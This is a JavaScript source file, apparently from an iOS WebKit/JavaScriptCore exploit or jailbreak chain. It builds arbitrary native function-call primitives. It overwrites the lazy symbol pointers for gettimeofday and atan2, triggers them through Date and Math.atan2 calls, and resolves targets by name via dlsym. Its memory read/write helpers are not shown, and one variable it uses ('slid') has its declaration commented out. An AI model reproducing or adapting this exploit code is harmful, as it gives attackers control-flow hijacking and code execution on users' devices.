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var gettimeofday_lazy_addy = 0x34d63d3c;
var atan2_lazy_addy = 0x346afc84;
var reserve_addr = 0x1a0000;
var sym_cache = {};
var slide = 0x0;
var base = 0x0;
//var slid = 0x0;
function get_dyld_shc_slide() {
/*
* ROP chain places dyld shc slide at slide + reserve_addr + 20
*
* shift by 12 bits bc slide is just the slide byte, whereas shit is slid
* by the slide byte shifted by 12 bits
*/
return read_u32((slide << 12) + reserve_addr + 20);
}
function call(addy) {
/*
* this prim is shit
* the idea is that the gettimeofday_lazy_addy contains the lazy symbol
* address of gettimeofday for jsc, whos value will be jumped to when
* calling gettimeofday
*
* overwrite the lazy symbol address with where we want to jump, then make
* a new date object, which will call gettimeofday to give it the current
* date and time.
*
* then put it back to the original address so it will work properly
*
* multithreading be damned
*/
var dyld_shc_slide = get_dyld_shc_slide();
var tmp = read_u32(gettimeofday_lazy_addy + dyld_shc_slide);
write_u32(gettimeofday_lazy_addy + dyld_shc_slide, addy);
var d = new Date();
write_u32(gettimeofday_lazy_addy + dyld_shc_slide, tmp);
}
function call4arg(addy, r0, r1, r2, r3) {
/*
* same idea as call, but now we use atan2, which gets 2 double arguments.
* a double is 64-bits, so it's passed as 2 registers.
* 2 double args are then the full r0-r3 for args passed on the stack,
* assuming 32-bit args.
*
* so, convert r0-r3 to the doubles they need to be, overwrite, and call.
*
* the first double has the low 4-bytes passed in r0, the high 4 in r1.
* second has low 4 passed in r2, high 4 passed in r3.
*/
var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8));
var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8));
arg1d = arg1.asDouble();
arg2d = arg2.asDouble();
delete arg1;
delete arg2;
var dyld_shc_slide = get_dyld_shc_slide();
tmp = read_u32(atan2_lazy_addy + dyld_shc_slide);
write_u32(atan2_lazy_addy + dyld_shc_slide, addy);
ret = Math.atan2(arg1d, arg2d);
write_u32(atan2_lazy_addy + dyld_shc_slide, tmp);
delete tmp;
delete arg1d;
delete arg2d;
/*
* >>> 0 makes sure it's a regular uint32_t
*/
return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0;
}
/*
* call with symbol
*/
function calls4arg(sym, r0, r1, r2, r3) {
/*
* this calls dlsym with the first arg, then uses the address it returns
* to call. so you can call with a symbol name instead of an address
*/
if (sym in sym_cache) {
var addy = sym_cache[sym];
} else {
var dlsym_addy = read_u32(reserve_addr + 24 + slid);
var shc_slide = read_u32(reserve_addr + 20 + slid);
var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, sptr(sym), 0, 0);
sym_cache[sym] = addy;
}
return call4arg(addy, r0, r1, r2, r3);
}
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